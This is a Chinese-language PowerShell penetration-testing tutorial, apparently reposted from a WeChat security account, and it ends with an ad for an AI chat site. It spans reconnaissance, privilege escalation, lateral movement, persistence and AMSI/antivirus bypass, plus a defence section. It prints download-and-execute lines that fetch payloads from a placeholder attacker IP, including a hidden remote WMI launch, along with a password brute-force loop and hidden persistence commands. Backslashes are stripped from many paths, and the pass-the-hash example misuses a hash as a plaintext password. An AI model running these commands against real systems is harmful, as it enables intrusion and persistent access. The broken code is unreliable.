渗透测试中的 Powershell 基本指南 💻
一、 Powershell 简介 ❓
-
什么是 Powershell? 🔍 -
为什么在渗透测试中使用 Powershell? 🛠️ -
Powershell 的优势和局限性 ⚖️
二、 Powershell 基础 📚
-
运行 Powershell 🚀 -
基本命令和语法 📝 -
变量 🆎 -
运算符 ➕➖✖️➗ -
条件语句 🚦 -
循环语句 🔄 -
函数 📦 -
常用 Cmdlet 💡 -
文件操作 📂 -
进程管理 ⚙️ -
注册表操作 🔑 -
网络操作 🌐 -
管道和重定向 ➡️↪️ -
脚本编写和执行 📜▶️ -
执行策略 👮♀️
三、 Powershell 在信息收集中的应用 🕵️♀️
-
系统信息收集 💽 -
操作系统版本 💻 -
补丁信息 🩹 -
已安装程序 💿 -
硬件信息 🖥️ -
用户信息收集 👥 -
本地用户和组 🧑🤝🧑 -
域用户和组 🌐🧑🤝🧑 -
网络信息收集 🕸️ -
网络配置 🖧️ -
开放端口 🚪 -
路由表 ↔️ -
ARP 表 🤝 -
服务信息收集 🛎️ -
运行服务 🏃♂️ -
服务配置 ⚙️ -
文件和目录枚举 📂🔍 -
使用 WMI 进行信息收集 🗃️
四、 Powershell 在权限提升中的应用 ⬆️
-
利用漏洞提权 🕳️ -
绕过 UAC 🛡️ -
令牌窃取 🥷 -
利用 AlwaysInstallElevated 🔝 -
利用计划任务 ⏰ -
口令爆破 🔐💥
五、 Powershell 在内网横向移动中的应用 ➡️➡️
-
凭据传递 🎫 -
Pass-the-Hash 🎟️ -
Pass-the-Ticket 🎫 -
远程命令执行 💻➡️💻 -
Invoke-Command 🚀 -
Enter-PSSession 🤝 -
WMI 远程执行 🗃️➡️💻 -
文件共享访问 📂➡️💻 -
利用 DCOM 📡
六、 Powershell 在持久化中的应用 📌
-
注册表自启动 🔑 -
WMI 事件订阅 🗃️🔔 -
计划任务 ⏰ -
服务创建 ➕🛎️ -
利用 PowerShell 配置文件 ⚙️
七、 Powershell 攻击框架 🧰
-
PowerSploit 😈 -
Empire 💣 -
Nishang ⚔️
八、 Powershell 混淆和绕过 🎭
-
代码混淆 🔀 -
绕过反病毒软件 🛡️❌ -
绕过 AppLocker 🔒❌ -
绕过 AMSI 🚨❌
九、 Powershell 防御和检测 🛡️
-
日志记录 📝 -
限制执行策略 👮♀️ -
使用 AMSI 🚨 -
应用程序白名单 📃 -
脚本块日志记录 📜📝
十、 总结 ✍️
渗透测试中的 Powershell 基本指南 💻
一、 Powershell 简介 ❓
Powershell 是一款强大的命令行 shell 和脚本语言,已经深入集成到 Windows 操作系统中。它为系统管理员和渗透测试人员提供了广泛的功能,可以用于自动化任务、管理系统和执行复杂的渗透测试操作。
-
什么是 Powershell? 🔍PowerShell 是一种跨平台的任务自动化和配置管理框架,由一个命令行 shell 和相关脚本语言组成。它基于 .NET 框架构建,可以访问 .NET 类的强大功能。PowerShell 可以用于管理本地或远程计算机,并且可以与各种技术(如 WMI、COM 和 CIM)进行交互。
-
为什么在渗透测试中使用 Powershell? 🛠️在渗透测试中,PowerShell 成为一个极其有用的工具,原因如下:
-
原生支持: PowerShell 是 Windows 操作系统的默认组件,无需额外安装。 -
强大的功能: PowerShell 提供了对操作系统底层功能的大量访问权限,包括网络、文件系统、注册表和进程管理。 -
脚本能力: PowerShell 是一种功能齐全的脚本语言,可以编写复杂的脚本来自动化渗透测试任务。 -
绕过限制: 在某些情况下,PowerShell 可以绕过传统的安全措施,例如应用程序白名单和反病毒软件。 -
隐蔽性: 由于其在 Windows 系统中的普遍存在,PowerShell 活动通常不容易被检测到。 -
丰富的社区和资源: 存在大量的 PowerShell 脚本和模块可供渗透测试人员使用,包括知名的攻击框架,如 PowerSploit 和 Empire。 -
Powershell 的优势和局限性 ⚖️优势:
-
功能强大: 提供对操作系统底层功能的广泛访问。 -
灵活性: 可以通过脚本自动化复杂的任务。 -
原生支持: 预装在 Windows 操作系统中。 -
隐蔽性: 活动通常与合法系统管理活动难以区分。局限性: -
依赖于 .NET Framework: 需要安装 .NET Framework 才能运行。 -
可能被检测: 高级安全解决方案可以检测和阻止恶意的 PowerShell 活动。 -
学习曲线: 对于初学者来说,PowerShell 的语法和概念可能需要一些时间来学习。
二、 Powershell 基础 📚
本节介绍 PowerShell 的基础知识,包括如何运行 PowerShell、基本命令和语法,以及常用的 Cmdlet。
-
运行 Powershell 🚀可以通过以下几种方式运行 PowerShell:
-
开始菜单: 在开始菜单中搜索 "PowerShell" 并选择相应的应用程序。 -
运行对话框: 按下 Win + R 键,输入 "powershell",然后按 Enter 键。 -
命令行: 在命令提示符中输入 "powershell" 并按 Enter 键。 -
ISE: Windows PowerShell 集成脚本环境 (ISE) 提供了一个图形界面,用于编写、运行和调试 PowerShell 脚本,在开始菜单搜索即可。 -
基本命令和语法 📝PowerShell 使用一种称为 Cmdlet 的命令,Cmdlet 的命名遵循“动词-名词”的格式。例如,
Get-Process
用于获取进程信息,Set-Location
用于更改当前位置。 -
变量 🆎PowerShell 中的变量以
$
符号开头,例如:$name = "John"
。可以使用Write-Host
或Write-Output
来显示变量的内容。$name = "John" Write-Host "My name is $name"
-
运算符 ➕➖✖️➗PowerShell 支持常见的算术运算符(
+
、-
、*
、/
、%
)、比较运算符(-eq
、-ne
、-gt
、-lt
、-ge
、-le
)和逻辑运算符(-and
、-or
、-not
)。$a = 10 $b = 5 $sum = $a + $b # 算数运算 $isEqual = $a -eq $b # 比较运算 $result = ($a -gt 5) -and ($b -lt 10) # 逻辑运算
-
条件语句 🚦PowerShell 支持
if
、elseif
和else
语句。$age = 20 if ($age -lt 18) { Write-Host "Underage" } elseif ($age -ge 18 -and $age -lt 65) { Write-Host "Adult" } else { Write-Host "Senior" }
-
循环语句 🔄PowerShell 支持
for
、foreach
、while
和do-while
循环。# For 循环 for ($i = 0; $i -lt 5; $i++) { Write-Host "Iteration: $i" } # Foreach 循环 $colors = "red", "green", "blue" foreach ($color in $colors) { Write-Host "Color: $color" }
-
函数 📦PowerShell 可以定义和使用函数。
function Get-Greeting { param( [string]$name ) Write-Host "Hello, $name!" } Get-Greeting -name "Alice"
-
常用 Cmdlet 💡以下是一些常用的 Cmdlet:
-
Test-Connection
:测试网络连接 (ping)。 -
Get-NetIPAddress
:获取 IP 地址信息。 -
Get-NetRoute
:获取路由表。 -
Resolve-DnsName
:解析 DNS 名称。 -
Get-ItemProperty
:获取注册表项的属性值。 -
Set-ItemProperty
:设置注册表项的属性值。 -
New-Item
:创建注册表项。 -
Remove-Item
:删除注册表项。 -
Get-Process
:获取进程列表。 -
Start-Process
:启动进程。 -
Stop-Process
:停止进程。 -
Get-ChildItem
:获取文件和目录列表。 -
New-Item
:创建文件或目录。 -
Remove-Item
:删除文件或目录。 -
Copy-Item
:复制文件或目录。 -
Move-Item
:移动文件或目录。 -
Get-Content
:获取文件内容。 -
Set-Content
:设置文件内容。 -
文件操作 📂 -
进程管理 ⚙️ -
注册表操作 🔑 -
网络操作 🌐 -
管道和重定向 ➡️↪️PowerShell 的管道(
|
)可以将一个 Cmdlet 的输出作为另一个 Cmdlet 的输入。重定向运算符(>
、>>
)可以将 Cmdlet 的输出保存到文件中。Get-Process | Where-Object {$_.WorkingSet -gt 100MB} | Sort-Object WorkingSet -Descending Get-ChildItem C: | Out-File -FilePath output.txt
-
脚本编写和执行 📜▶️PowerShell 脚本是以 .ps1
为扩展名的文本文件。可以使用任何文本编辑器编写 PowerShell 脚本。要执行脚本,可以使用&
运算符,后面跟脚本的路径。# 简单的脚本示例 (my_script.ps1) Write-Host "Hello from PowerShell script!" Get-Process | Select-Object -First 5 # 执行脚本 & ".my_script.ps1"
-
执行策略 👮♀️PowerShell 的执行策略控制了哪些脚本可以运行。可以使用
Get-ExecutionPolicy
查看当前的执行策略,使用Set-ExecutionPolicy
设置执行策略。常见的执行策略包括:Get-ExecutionPolicy Set-ExecutionPolicy RemoteSigned
-
Restricted: 不允许运行任何脚本。 -
AllSigned: 只允许运行经过签名的脚本。 -
RemoteSigned: 允许运行本地创建的脚本和经过签名的远程脚本。 -
Unrestricted: 允许运行所有脚本(有风险)。 -
Bypass: 绕过执行策略,不加载配置文件,不显示警告或提示。
三、 Powershell 在信息收集中的应用 🕵️♀️
信息收集是渗透测试的第一步,也是至关重要的一步。PowerShell 提供了许多 Cmdlet 和技术来收集目标系统的信息。
-
系统信息收集 💽可以使用以下 Cmdlet 收集系统信息: -
操作系统版本 💻 Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber [System.Environment]::OSVersion
-
补丁信息 🩹 Get-HotFix
-
已安装程序 💿 Get-WmiObject -Class Win32_Product | Select-Object Name, Version, InstallDate Get-ItemProperty HKLM:SoftwareMicrosoftWindowsCurrentVersionUninstall* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
-
硬件信息 🖥️ Get-ComputerInfo | Select-Object CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory Get-WmiObject -Class Win32_BIOS
-
用户信息收集 👥可以使用以下 Cmdlet 收集用户信息: -
本地用户和组 🧑🤝🧑 Get-LocalUser Get-LocalGroup Get-LocalGroupMember -Group "Administrators"
-
域用户和组 🌐🧑🤝🧑如果目标是域环境,需要先导入 Active Directory 模块 ( Import-Module ActiveDirectory
)。Get-ADUser -Filter * -Properties * Get-ADGroup -Filter * Get-ADGroupMember -Identity "Domain Admins"
-
网络信息收集 🕸️可以使用以下 Cmdlet 收集网络信息: -
网络配置 🖧️ Get-NetAdapter Get-NetIPAddress Get-NetIPConfiguration
-
开放端口 🚪 Test-NetConnection -ComputerName "192.168.1.1" -Port 80 Get-NetTCPConnection -State Established
-
路由表 ↔️ Get-NetRoute
-
ARP 表 🤝 Get-NetNeighbor
-
服务信息收集 🛎️可以使用以下 Cmdlet 收集服务信息: -
运行服务 🏃♂️ Get-Service | Where-Object {$_.Status -eq "Running"}
-
服务配置 ⚙️ Get-Service | Select-Object Name, DisplayName, Status, StartType Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName
-
文件和目录枚举 📂🔍可以使用 Get-ChildItem
Cmdlet 枚举文件和目录,并结合各种参数进行过滤和搜索。Get-ChildItem -Path C: -Recurse -Force -ErrorAction SilentlyContinue Get-ChildItem -Path C:Users -Recurse -Include *.txt -ErrorAction SilentlyContinue
-
使用 WMI 进行信息收集 🗃️Windows Management Instrumentation (WMI) 是一个强大的管理工具,可以使用 PowerShell 的 Get-WmiObject
Cmdlet 来查询 WMI 类并获取系统信息。Get-WmiObject -Class Win32_OperatingSystem Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled = 'True'" Get-WmiObject -Class Win32_LogicalDisk -Filter "DriveType = '3'"
四、 Powershell 在权限提升中的应用 ⬆️
权限提升是渗透测试中的一个关键步骤,目标是获取更高权限的账户,例如管理员或 SYSTEM 权限。PowerShell 可以利用多种技术来实现权限提升。
-
利用漏洞提权 🕳️如果目标系统存在已知的漏洞,可以使用 PowerShell 脚本来利用这些漏洞并提升权限。例如,可以使用 Metasploit 生成的 PowerShell 载荷来利用漏洞。需要将payload加载到内存中执行,常见的方法有:IEX (Invoke-Expression), Invoke-Command等。
$webClient = New-Object System.Net.WebClient $url = "http://<攻击机IP>/exploit.ps1" # 攻击机开启web服务将payload托管 $script = $webClient.DownloadString($url) Invoke-Expression $script
-
绕过 UAC 🛡️用户帐户控制 (UAC) 是 Windows 的一项安全功能,它可以防止未经授权的更改。可以使用 PowerShell 脚本来绕过 UAC,例如利用某些自动提升权限的 COM 对象或利用已知的 UAC 绕过漏洞。
-
令牌窃取 🥷如果当前用户具有
SeImpersonatePrivilege
或SeAssignPrimaryTokenPrivilege
权限,可以使用 PowerShell 脚本窃取其他用户的令牌并模拟该用户。可以使用Invoke-TokenManipulation
函数(来自 PowerSploit 的Privesc
模块)来实现令牌窃取。Import-Module .PowerSploit.psm1 # 导入 PowerSploit 模块 Invoke-TokenManipulation -ImpersonateUser -Username "domainuser" -ProcessId <PID>
-
利用 AlwaysInstallElevated 🔝AlwaysInstallElevated 是 Windows 的一项功能,允许以 SYSTEM 权限安装 MSI 文件。如果启用了 AlwaysInstallElevated,可以使用 PowerShell 创建恶意的 MSI 文件并安装它以获取 SYSTEM 权限。注册表中以下两个键值都设置为 1
时,AlwaysInstallElevated 才生效:HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
-
利用计划任务 ⏰如果当前用户有权限创建计划任务,可以使用 PowerShell 创建一个以 SYSTEM 权限运行的计划任务,从而获取 SYSTEM 权限。 $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command "Your-Command"" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITYSYSTEM" -LogonType ServiceAccount $settings = New-ScheduledTaskSettingsSet $task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings Register-ScheduledTask -TaskName "MyTask" -InputObject $task
-
口令爆破 🔐💥可以使用 PowerShell 脚本对本地用户或域用户进行口令爆破。可以使用 net user
命令来测试本地用户的口令,或者使用Invoke-Command
或Enter-PSSession
来测试远程用户的口令。但这种方式容易产生大量日志,动静较大。# 针对本地管理员账户爆破 $passwordList = Get-Content ".passwords.txt" foreach ($password in $passwordList) { $result = net user administrator $password if ($result -match "命令成功完成") { Write-Host "Password found: $password" break } }
五、 Powershell 在内网横向移动中的应用 ➡️➡️
在获取了内网中一台机器的权限后,通常需要进行横向移动,以获取更多机器的权限。PowerShell 提供了多种方法来实现内网横向移动。
-
凭据传递 🎫如果获取了用户的密码哈希或票据,可以使用 PowerShell 将凭据传递到其他机器并进行身份验证。 -
Pass-the-Hash 🎟️可以使用 Invoke-Command 或 Enter-PSSession 结合 -Credential 参数并指定哈希值来进行 Pass-the-Hash 攻击。也可以使用 Invoke-WmiMethod 来进行。 # 使用 Invoke-Command 进行 Pass-the-Hash $hash = "aad3b435b51404eeaad3b435b51404ee:5de2e9927d9998779d96d3c8d999d999" # NTLM 哈希 $credential = New-Object System.Management.Automation.PSCredential("username", (ConvertTo-SecureString $hash -AsPlainText -Force)) Invoke-Command -ComputerName "target-computer" -ScriptBlock { whoami } -Credential $credential # 使用 Invoke-WmiMethod 进行 Pass-the-Hash Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<攻击机IP>/payload.ps1')"" -ComputerName "target-computer" -Credential $credential
-
Pass-the-Ticket 🎫可以使用 Invoke-KerberosTicketCmdlet 函数(来自 PowerSploit 的 Privesc
模块)来导入 Kerberos 票据并进行 Pass-the-Ticket 攻击。使用mimikatz导出用户的票据,利用票据进行横向。# 导入票据 Invoke-KerberosTicketCmdlet -TicketBase64 "base64-encoded-ticket" # 列出票证缓存 klist # 验证票据是否有效 Invoke-Command -ComputerName "target-computer" -ScriptBlock { whoami }
-
远程命令执行 💻➡️💻PowerShell 提供了多种方法来在远程计算机上执行命令。 -
Invoke-Command 🚀可以使用 Invoke-Command
Cmdlet 在远程计算机上执行命令或脚本。Invoke-Command -ComputerName "target-computer" -ScriptBlock { Get-Process } -Credential "domainusername" Invoke-Command -ComputerName "target-computer" -FilePath ".script.ps1" -Credential "domainusername"
-
Enter-PSSession 🤝可以使用 Enter-PSSession
Cmdlet 建立与远程计算机的交互式 PowerShell 会话。Enter-PSSession -ComputerName "target-computer" -Credential "domainusername"
-
WMI 远程执行 🗃️➡️💻可以使用 Invoke-WmiMethod
Cmdlet 通过 WMI 在远程计算机上执行命令。Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c ipconfig > C:output.txt" -ComputerName "target-computer" -Credential "domainusername"
-
文件共享访问 📂➡️💻如果目标计算机启用了文件共享,可以使用 PowerShell 访问共享文件和目录。 Get-ChildItem \target-computerC$ Copy-Item -Path ".payload.exe" -Destination \target-computerC$payload.exe
-
利用 DCOM 📡分布式组件对象模型 (DCOM) 是一种允许在网络上远程调用 COM 对象的协议。可以使用 PowerShell 通过 DCOM 在远程计算机上执行命令。 # 使用 Excel.Application DCOM 对象在远程计算机上执行命令 $com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("Excel.Application", "target-computer")) $com.Visible = $false $com.Workbooks.Add() $com.Cells.Item(1,1).Value2 = "Command Output:" $com.Cells.Item(2,1).Value2 = (Invoke-Command -ScriptBlock { whoami } -ComputerName "target-computer") $com.ActiveWorkbook.SaveAs("C:output.xlsx") $com.Quit()
六、 Powershell 在持久化中的应用 📌
持久化是指在目标系统上维持访问权限,即使系统重启或用户注销。PowerShell 提供了多种方法来实现持久化。
-
注册表自启动 🔑可以将 PowerShell 脚本添加到注册表的自启动项中,以便在系统启动或用户登录时自动运行。 # 将 PowerShell 脚本添加到 HKCUSoftwareMicrosoftWindowsCurrentVersionRun Set-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" -Name "MyScript" -Value "powershell.exe -WindowStyle hidden -File C:script.ps1"
-
WMI 事件订阅 🗃️🔔可以使用 PowerShell 创建 WMI 事件订阅,以便在特定事件发生时触发 PowerShell 脚本。例如,可以在用户登录时触发脚本。 # 创建 WMI 事件订阅,在用户登录时触发脚本 $filter = New-WmiEventFilter -Query "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2" -Name "MyEventFilter" -Namespace "rootsubscription" -EventNameSpace "rootcimv2" $action = New-WmiObject -Class __CommandLineEventConsumer -Namespace "rootsubscription" -Property @{ Name = "MyEventConsumer"; CommandLineTemplate = "powershell.exe -WindowStyle hidden -File C:script.ps1"; } New-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Property @{ Filter = $filter; Consumer = $action; }
-
计划任务 ⏰可以使用 PowerShell 创建计划任务,以便在特定时间或特定事件发生时运行 PowerShell 脚本。 # 创建计划任务,在系统启动时运行 PowerShell 脚本 $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle hidden -File C:script.ps1" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITYSYSTEM" -LogonType ServiceAccount $settings = New-ScheduledTaskSettingsSet $task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings Register-ScheduledTask -TaskName "MyTask" -InputObject $task
-
服务创建 ➕🛎️可以将 PowerShell 脚本配置为服务,以便在系统启动时自动运行。 # 使用 nssm 将 PowerShell 脚本注册为服务 (需要下载 nssm 工具) nssm install MyService "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" "-WindowStyle hidden -File C:script.ps1" nssm set MyService DisplayName "My Service" nssm set MyService Description "This is my PowerShell service" nssm start MyService
-
利用 PowerShell 配置文件 ⚙️PowerShell 配置文件是在 PowerShell 启动时自动运行的脚本。可以将恶意代码添加到用户的 PowerShell 配置文件中,以便在用户每次启动 PowerShell 时自动运行。PowerShell 的配置文件有多个,分别作用于不同的范围,可以使用 $PROFILE
变量查看当前用户的配置文件路径。# 将代码添加到当前用户的 PowerShell 配置文件 "Invoke-Expression -Command "Your-Command"" | Out-File -Append -FilePath $PROFILE
七、 Powershell 攻击框架 🧰
已经有许多基于 PowerShell 的攻击框架被开发出来,这些框架提供了许多用于渗透测试的模块和功能。
-
PowerSploit 😈PowerSploit 是一个流行的 PowerShell 攻击框架,它包含了许多用于信息收集、权限提升、代码执行、持久化等方面的模块。
-
CodeExecution
: 用于在目标系统上执行代码。 -
ScriptModification
: 用于修改脚本。 -
Exfiltration
: 用于数据窃取。 -
Recon
: 用于信息收集。 -
Privesc
: 用于权限提升。 -
AntivirusBypass
: 用于绕过反病毒软件。 -
Persistence
: 用于持久化。 -
项目地址:https://github.com/PowerShellMafia/PowerSploit -
常用模块: -
Empire 💣Empire 是一个后渗透测试框架,它使用 PowerShell 作为代理,并提供了许多用于内网渗透的功能。
-
模块化设计。 -
集成了多种攻击技术。 -
支持多种通信协议。 -
提供了图形界面和命令行界面。 -
项目地址:https://github.com/BC-SECURITY/Empire -
主要特点: -
Nishang ⚔️Nishang 是另一个基于 PowerShell 的攻击框架,它包含了许多用于渗透测试的脚本和工具。
-
Gather
: 用于信息收集。 -
Escalation
: 用于权限提升。 -
Execution
: 用于代码执行。 -
Backdoors
: 用于创建后门。 -
Client
: 用于客户端攻击。 -
Bypass
: 用于绕过安全机制。 -
项目地址:https://github.com/samratashok/nishang -
常用脚本:
八、 Powershell 混淆和绕过 🎭
为了躲避检测,可以使用多种技术对 PowerShell 代码进行混淆和绕过。
-
代码混淆 🔀代码混淆是指将 PowerShell 代码转换为难以阅读和理解的形式,以增加静态分析的难度。可以使用 Invoke-Obfuscation 等工具对 PowerShell 代码进行混淆。
-
变量名替换。 -
字符串编码。 -
代码重排。 -
添加无效代码。 -
Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation -
常见的混淆技术: -
绕过反病毒软件 🛡️❌反病毒软件通常会检测和阻止恶意的 PowerShell 脚本。可以使用一些技术来绕过反病毒软件的检测,例如:
-
编码: 将 payload 进行编码或加密。 -
分块: 将 payload 分成多个块,并在运行时组装。 -
内存加载: 将 payload 直接加载到内存中执行,而不写入磁盘。 -
使用不常见的 Cmdlet 或 API。 -
修改已知的恶意脚本的特征码。 -
绕过 AppLocker 🔒❌AppLocker 是 Windows 的一项应用程序控制功能,它可以阻止未经授权的脚本和程序运行。可以使用一些技术来绕过 AppLocker 的限制,例如:
-
使用白名单目录: 将脚本放在 AppLocker 允许的目录中。 -
使用数字签名: 使用受信任的证书对脚本进行签名。 -
利用已知的 AppLocker 绕过漏洞。 -
绕过 AMSI 🚨❌反恶意软件扫描接口 (AMSI) 是 Windows 10 及更高版本中的一项安全功能,它可以帮助反病毒软件检测恶意的 PowerShell 脚本。可以使用一些技术来绕过 AMSI 的检测,例如:
-
内存补丁: 修改内存中的 AMSI 相关函数。 -
使用反射加载: 将 AMSI 绕过代码注入到 PowerShell 进程中。 -
使用不触发 AMSI 检测的混淆技术。
九、 Powershell 防御和检测 🛡️
了解如何攻击是为了更好地进行防御。可以采取多种措施来防御和检测恶意的 PowerShell 活动。
-
日志记录 📝启用 PowerShell 日志记录可以帮助检测恶意的 PowerShell 活动。可以记录模块日志记录、脚本块日志记录和详细日志记录。
-
模块日志记录: 记录 PowerShell 模块的加载情况。 -
脚本块日志记录: 记录 PowerShell 脚本块的执行情况。 -
详细日志记录: 记录所有 PowerShell 命令的执行情况。 -
配置组策略: 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell -
查看日志: 事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell -> Operational -
限制执行策略 👮♀️将 PowerShell 执行策略设置为
AllSigned
或RemoteSigned
可以限制未经授权的脚本运行。虽然不能完全阻止,但可以提高门槛。 -
AllSigned: 要求所有脚本和配置文件都必须由受信任的发布者签名。 -
RemoteSigned: 要求从 Internet 下载的脚本和配置文件必须由受信任的发布者签名。本地计算机上创建的脚本则不需要签名。 -
使用 AMSI 🚨反恶意软件扫描接口 (AMSI) 可以帮助检测恶意的 PowerShell 脚本。确保 AMSI 已启用,并且反病毒软件支持 AMSI 集成。
-
Windows 10 及更高版本默认启用 AMSI。 -
许多主流反病毒软件都支持 AMSI 集成。 -
AMSI 可以与 PowerShell 的日志记录功能结合使用,以提供更全面的检测能力。 -
应用程序白名单 📃功能特点
使用 AppLocker 等应用程序白名单工具可以阻止未经授权的 PowerShell 脚本运行。
* **AppLocker 可以根据文件路径、发布者或哈希值来创建规则。** * **建议将 AppLocker 配置为“审核”模式,以便在阻止脚本之前先进行测试。** * **AppLocker 可以与其他安全措施(如 AMSI 和 PowerShell 日志记录)结合使用。**
-
脚本块日志记录 📜📝启用脚本块日志记录可以记录所有 PowerShell 脚本块的执行,包括命令、脚本内容和部分输出。这有助于检测和分析恶意的 PowerShell 活动。可以使用组策略启用,路径如下:
-
配置组策略: 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell -> 打开PowerShell 脚本块日志记录 -
同时建议启用“在脚本块调用上启用日志记录”,这样可以记录每个脚本块的开始和结束,方便分析。
-
监控和分析 🔎
-
监控 PowerShell 进程的创建和活动。 -
分析 PowerShell 日志以识别可疑的命令和脚本。 -
使用安全信息和事件管理 (SIEM) 系统来收集和分析 PowerShell 日志。 -
关注异常的网络连接、文件访问和注册表修改。 -
对常见的 PowerShell 攻击技术(如混淆、编码和下载)保持警惕。 -
及时更新 🔄
-
及时安装 Windows 更新和补丁,以修复已知的 PowerShell 漏洞。 -
将 PowerShell 更新到最新版本,以获取最新的安全功能和修复程序。 -
最小权限原则 ❗
-
遵循最小权限原则,只授予用户执行其工作所需的最低权限。 -
避免使用管理员权限运行 PowerShell。 -
对于需要执行管理任务的用户,可以使用 Just Enough Administration (JEA) 来限制其可以运行的命令和脚本。
十、 总结 ✍️
PowerShell 是一款功能强大的工具,在渗透测试中扮演着重要的角色。通过掌握 PowerShell 的基础知识和高级技术,渗透测试人员可以有效地进行信息收集、权限提升、内网横向移动和持久化等操作。然而,需要注意的是,PowerShell 也是一把双刃剑,它可以被攻击者利用,也可以被防御者用来保护系统。因此,了解 PowerShell 的攻击和防御技术对于网络安全专业人员来说至关重要。
本教程只是对 PowerShell 在渗透测试中的应用的简要介绍,还有许多更深入的技术和主题需要学习和探索。建议读者参考相关的书籍、文章和在线资源,并进行实践操作,以提高自己的 PowerShell 技能。随着攻防技术的不断发展,我们也需要不断学习和更新知识,以应对新的安全挑战。
参考资料
官方文档:
-
Microsoft PowerShell Documentation:https://docs.microsoft.com/en-us/powershell/ -
包含了 PowerShell 的各个方面的详细文档。 -
"Black Hat PowerShell" by Alex Reid -
专注于PowerShell在渗透测试中的应用。
在线资源:
-
PowerSploit GitHub Repository:https://github.com/PowerShellMafia/PowerSploit -
PowerSploit 框架的代码仓库,可以学习其中的攻击脚本和技术。 -
Empire GitHub Repository:https://github.com/BC-SECURITY/Empire -
Empire 框架的代码仓库,了解其架构和模块。 -
Nishang GitHub Repository:https://github.com/samratashok/nishang -
Nishang 框架的代码仓库。 -
Invoke-Obfuscation GitHub Repository:https://github.com/danielbohannon/Invoke-Obfuscation -
学习 PowerShell 代码混淆技术的工具。 -
ired.team Blog:https://www.ired.team/ -
一个专注于红队技术的博客,包含大量关于 PowerShell 攻击技术的文章。 -
Hacking Articles:https://www.hackingarticles.in/ -
包含大量关于渗透测试和网络安全的文章,其中也有不少关于 PowerShell 的内容。 -
Pentester Academy:https://www.pentesteracademy.com/ -
提供渗透测试相关的在线课程,其中也包括 PowerShell 的课程。 -
SANS Institute:https://www.sans.org/ -
提供网络安全培训和认证,其课程和资源中也包含 PowerShell 相关的内容。 -
SpecterOps Blog:https://posts.specterops.io/ -
提供进阶的红队行动和防御规避技术的博客。
其他工具:
-
Mimikatz :https://github.com/gentilkiwi/mimikatz -
虽然不是直接的 PowerShell 工具,但 mimikatz 经常与 PowerShell 结合使用,用于凭据窃取等攻击。
需要注意的是,以上列出的资源仅供学习和研究之用,请勿将其用于非法活动。
GPT 助手推荐 - 全球 AI 模型任意使用
承诺 GPT-3.5,GPT-4o-Mini,Claude-3-Haiku 永久不限量免费
官方网站:https://www.gpt-all.chat/
功能特点
Chaos AI Assistant 的核心功能
-
聚合热门 AI 模型,轻松切换
-
一站式多模型支持:快速切换使用当下最热门的 AI 模型,包括ChatGPT、Claude、Gemini、Llama 等。无论是开源还是闭源模型,都可以在平台上体验,省去各平台注册的麻烦。 -
集成多功能 AI 工具
-
AI 联网搜索:可以帮助用户实时查找并总结所需信息。
-
多模态生成支持:用户可以通过简单的指令快速生成,对话、图像、视频、PPT、音乐等多种内容。
-
文件处理功能:自动总结、提取信息或将文本转为视频,全面提升工作效率。
-
友好页面与灵活选项
-
每日福利 -- 免费使用:承诺 GPT-3.5,GPT-4o-Mini,Claude-3-Haiku 永久不限量免费使用。
-
官方网站:https://www.gpt-all.chat/
原文始发于微信公众号(人遁安全):PowerShell 指北 (宇宙超级无敌大黑客版本)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论